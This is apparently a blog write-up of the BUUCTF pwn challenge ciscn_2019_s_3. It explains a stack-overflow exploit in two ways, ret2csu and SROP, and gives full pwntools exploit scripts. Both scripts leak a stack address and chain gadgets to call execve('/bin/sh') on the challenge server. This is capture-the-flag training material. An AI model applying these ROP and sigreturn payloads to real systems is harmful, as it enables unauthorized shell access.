BUUCTF Pwn ciscn_2019_s_3 WP

1.下载文件 checksec 拖入exeinfo 

用patchelf切换libc和ld:


64位 拖入IDA64 查看main函数:

发现函数里有个gadgets函数,查看汇编:

将rax设为15 和 59 这两个分别是signreturn 和 execve的系统调用

所以有两种做法:ret2csu 和 SROP 

但是程序本身没有binsh字符串 所以两种方法都需要自己输入binsh并得到其地址:

需要先用调试查看偏移:

打印出来的栈地址

binsh的地址

相减可以得到偏移是0x138

payload = b'/bin/sh\x00' + b'a' * 8 + p64(main_addr)
p.send(payload)
p.recv(0x20)
stack_addr = u64(p.recv(8))
print(hex(stack_addr))
offset = 0x138

binsh_addr = stack_addr - offset
print(hex(binsh_addr))

gdb.attach(p)
pause()

1.ret2csu

找到csu_init的地址:

 要利用的就是这一块:

构造exp:

from pwn import *

p = process('./ciscn_s_3')
#p = remote("node5.buuoj.cn", 25414)
#elf = ELF('./ciscn_s_3')

p6r_addr = 0x40059A
movcall_addr = 0x400580
execv_addr = 0x4004e2
syscall_addr = 0x400517
rdi_addr = 0x4005a3
main_addr = 0x40051D

payload = b'/bin/sh\x00' + b'a' * 8 + p64(main_addr)
p.send(payload)
p.recv(0x20)
stack_addr = u64(p.recv(8))
print(hex(stack_addr))
offset = 0x138

binsh_addr = stack_addr - offset
print(hex(binsh_addr))

gdb.attach(p)
pause()

payload2 = b'/bin/sh\x00' + b'a' * 8 + p64(p6r_addr)
payload2 += p64(0) * 2 + p64(binsh_addr + 0x50) + p64(0) * 3
payload2 += p64(movcall_addr) + p64(execv_addr)
payload2 += p64(rdi_addr) + p64(binsh_addr) + p64(syscall_addr)

p.send(payload2)

p.interactive()



解释一下:

先传入binsh字符串及堆字符到rbp 然后调用csu里的pop一堆寄存器的gadgets

接着进行传参,rbx rbp设置为0 然后将r12设置为execv的地址(binsh地址+0x08 * 0x0A) ,再将后面几个寄存器设为0 

然后调用第二个gadgets 赋值给rdx和rsi

第二个gadgets有个call 第一次执行会跳转到r12 且前面已经将rbx设置为0,所以

第二个gadgets会再循环一次 此时rbx 等于 1 然后call指令就会跳转到r12 + 8的地址,也就是payload2中的pop rdi地址

然后传参binsh 以ret到系统调用结束

运行,得到flag:
 

2.SROP

学会了SigreturnFrame() 用法就能直接写出来 比用ret2csu方法方便

exp:

from pwn import *

#p = process('./ciscn_s_3')
context(arch='amd64', os='linux')
#一定要加上这句 否则会报错

p = remote("node5.buuoj.cn", 26367)
#elf = ELF('./ciscn_s_3')
sigreturn_addr = 0x4004DA
syscall_addr = 0x400517
main_addr = 0x40051D

payload = b'/bin/sh\x00' + b'a' * 8 + p64(main_addr)
p.send(payload)
p.recv(0x20)
stack_addr = u64(p.recv(8))
print(hex(stack_addr))
offset = 0x138
binsh_addr = stack_addr - offset
print(hex(binsh_addr))

#gdb.attach(p)
#pause()

frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = binsh_addr
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_addr

payload2 = b'/bin/sh\x00' + b'a' * 8 + p64(sigreturn_addr) + p64(syscall_addr) + bytes(frame)
p.send(payload2)
p.interactive()

运行 得到flag:

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值